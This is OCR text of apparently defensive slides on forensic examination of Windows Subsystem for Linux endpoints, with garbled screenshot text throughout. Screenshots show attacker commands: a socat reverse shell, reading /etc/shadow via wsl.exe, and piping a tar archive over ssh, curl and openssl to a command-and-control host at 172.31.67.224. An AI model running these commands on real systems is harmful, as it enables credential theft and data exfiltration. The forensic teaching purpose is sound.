0090 43 20 32 30 31 39 20 78 38 36 5f 36 34 20 78 38 C 2019 x 86_64 x8
00a@ 36 5T 36 34 20 78 38 36 5f 36 34 20 47 4e 55 2f 6_64 x86 _64 GNU/
00b® 4c 69 6e 75 78 @d @a LinuX..
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Forensic examination on a WSL Endpoint
Command and Control: Custom Command and Control Protocol

» Packet comments

» Frame 230: 122 bytes on wire (976 bits), 122 bytes captured (976 bits) on interface 1 (inbound)

» Ethernet II, Src: Microsof_c8:4c:d6 (@0:15:5d:c8:4c:d6), Dst: Microsof_22:01:08 (00:15:5d:22:01:08)
» Internet Protocol Version 4, Src: 172.23.186.84, Dst: 192.168.9.133

p Transmission Control Protocol, Src Port: 43674, Dst Porty 666, Seq: 1199, Ack: 46, Len: 56
Data (56 bytes)

Socat Reverse Shell

es]”eess JaLaasEs
l..@@ MealTee
sasanaas ADaabXea
asWManns aaKQaau
h?root 158
155 0 10:19

00:00:0

ps -ef ..

TANIUM
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Execution: wsl.exe



Forensic examination on a WSL Endpoint
Execution: wsl.exe

EX Administrator: Windows PowerShell
Wsl_exe Execution RS_Cilusensiusaly Wsl.exe cat /etc/os-release
NAME="Ubuntu"
ERSION="18.04.4 LTS (Bionic Beaver)"
ID=ubuntu

ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.4 LTS"
ERSION_ID="18.04"

HOME_URL="https://www.ubuntu.com/"

SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"

UBUNTU_CODENAME=bionic
PS C:\users\user> _
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Forensic examination on a WSL Endpoint
Execution: wsl.exe

E¥ Windows PowerShell
PS C:\Users\User> wsl.exe sudo cat /etc/shadow
[sudo] password fe: user:
root:*:18037:0:99999:7:
daemon:*:12937:0:99999:
bin:*:18037:0:99999:7:::
Sys:*:18037:0:99999:7
Sync:*:18037:0:99999:
games:*:18037:0:99999:7
:%*:18037:0:99999:7:::

mail:*:18037:0:99999:7:::
news:*:18037:0:99999:
18037:0:99999:
. 18037:0:99999
wsl.exe Execution ww-data: *:18037:0:9999
backup:*:18037:0:99999:7:
1ist:*:18037:0:99999:7:
irc:*:18037:0:99999:7
gnats:*:18037:0:99999:
nobody:*:18037:0:99999: :
systemd-network:*:18037:0: 99999 7%
systemd-resolve:*:18037:0:99999:7:
Ssyslog:*:18037:0:99999:7: :
messagebus:*:18037:0: 99999
apt:*:18037:0:99999:7::
1xd:*:18037:0:99999:7
uuidd:*:18037:0:99999:7:::
dnsmasq:*:18037:0:99999:7:::
landscape:*:18037:0:99999:
sshd:*:18037:0:99999:7:::
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Forensic examination on a WSL Endpoint
Execution: wsl.exe

EN Windows PowerShell

PS C:\Users\User> wsl.exe

AE
PS C:\Usei's\User> wsl.exe
GVsbEsgVGhlcmUh
PS {:\Users\User>

®@°® I B

B emmO=

File Edit View Terminal Tabs

wsl.exe Execution

TANIUM

Terminal - user@c2: -

Terminal - user@c2: ~
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Forensic examination on a WSL Endpoint

Execution: wsl.exe

E¥ Administrator: Command Prompt

“:\Users\Administrator>wsl.exe -e bash -c "sudo tar czvf - /mnt/c/users/administrator/archive_folder" | ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cGx1YXN1ZG9udGR1Y29kZW11@172.31.67.224 " ca
- > archive_folder.tar.gz"

larning: Permanently added '172.31.67.224"' (ECDSA) to the list of known hosts.

“Gx1YXN1ZG9udGR1Y29kZW11@172.31.67.224"s password: [sudo] password for user:

Sorry, try again.

[sudo] password for user:

tar: Removing leading ~/' from member names
/mnt/c/users/administrator/archive_folder/
/mnt/c/users/administrator/archive_folder/files

C:\Users\Administrator>powershell -c Get-ItemProperty -Path .ssh/known_hosts

Directory: C:\Users\Administrator\.ssh

Mode LastWriteTime Length Name
-a---- 7/6/2020 2:01 AM 105 known_hosts
C:\Users\Administrator>, coee root@c2:/home/cGxIYXNIZGOudGRIY29kZ W1l

[root@c2 cGx1YXN1ZG9udGR1Y29kZW11ll# 1ls -1trh archive_folder.tar.gz

[=rw=rw-r—— 1 cGx1YXN1ZG9udGR1Y29kZW1l cGx1YXN1ZG9udGR1Y29kZW1l 6.0K Jul 6 14:54
[root@c2 cGx1YXN1ZG9udGR1Y29kZW1ll# tar xzvf archive_folder.tar.gz
mnt/c/users/administrator/archive_folder/
Imnt/c/users/administrator/archive_folder/files

[root®c2 cGx1YXN1ZG9udGR1Y29kZW11 1#

[[root@c2 cGx1YXN1ZG9udGR1Y29kZW1l]1#

[root@c2 cGx1YXN1ZG9udGR1Y29kZW1l1# I
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Forensic examination on a WSL Endpoint
Execution: wsl.exe

* Process command line activity
* Process lineage

e Caveat:
Execution of Linux commands will not be saved in ~/.bash_history, ~/.sh_history, etc,
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Execution: bash.exe



Forensic examination on a WSL Endpoint
Execution: bash.exe B Adinsator Command Promt e

-quiet -connect 172.31.67.224
y t Company Ltd
verify erpsf*:num=18:self signed certifi
verify #eturn:1
C = 1 ity Company Ltd

Volume in drive C ha
Volume Serial N

Directory of \Windows\Temp

07/03/2020 ©3:56 PM file
,505 bytes
1,023,104 bytes free

baShexe EXGCUtIOﬂ [root@c2 shml# openssl s_server -key k.pem -cert c.pem —port 99 < file

Using default temp DH parameters
ACCEPT

DONE
shutdown accept socket
shutting down SSL
CONNECTION CLOSED
items in the session cache
@ client connects (SSL_connect())
@ client renegotiates (SSL_connect())
@ client connects that finished
1 server accepts (SSL_accept())
@ server renegotiates (SSL_accept())
1 server accepts that finished
@ session cache hits
1 session cache misses
@ session cache timeouts
0 callback cache hits
@ cache full overflows (128 allowed)

TANIUM
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Execution: curl.exe



Forensic examination on a WSL Endpoint
ExeCUtlon Curlexe Administrator: Command Prompt

C:\Windows\Temp>curl.exe -F file=@archive_file.cab http://172.31.67.224:88
curl: (52) Empgy reply from server

C:\Windows\Temp>dir archive_file.cab

Volup€ in drive C has no label.

VoZume Serial Number is F455-DO1B

Directory of C:\Windows\Temp

©7/063/2020 12:16 PM 88,591 archive_file.cab

1 File(s) 88,591 bytes
© Dir(s) 12,013,625,344 bytes free

Curl.exe ExeCUtion C:\Windows\Temp>_

<N N J #i dirdc — ssh TrainingAdmin@54.245.1.135 — 106x42
[[root@c2 shml]# socat -u tcp-listen:88,reuseaddr open:archive_file.tar.gz,creat

[AC[root@Pc2 shml# 1ls -ltrh archive_file.tar.gz
-rw-r——r— 1 root root 87K Jul 3 12:15
[root@c2 shml#
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Conclusion

Adversaries and malware authors will continue to explore attack surfaces on WSL 2, as it
becomes more prevalent across enterprise environments

WSL 2 Endpoints is going to make Digital Forensics and Incident Response professionals lives a
lot more interesting

| highlighted 11 techniques based on my initial research, but | expect there to be more attack
surfaces with WSL 2
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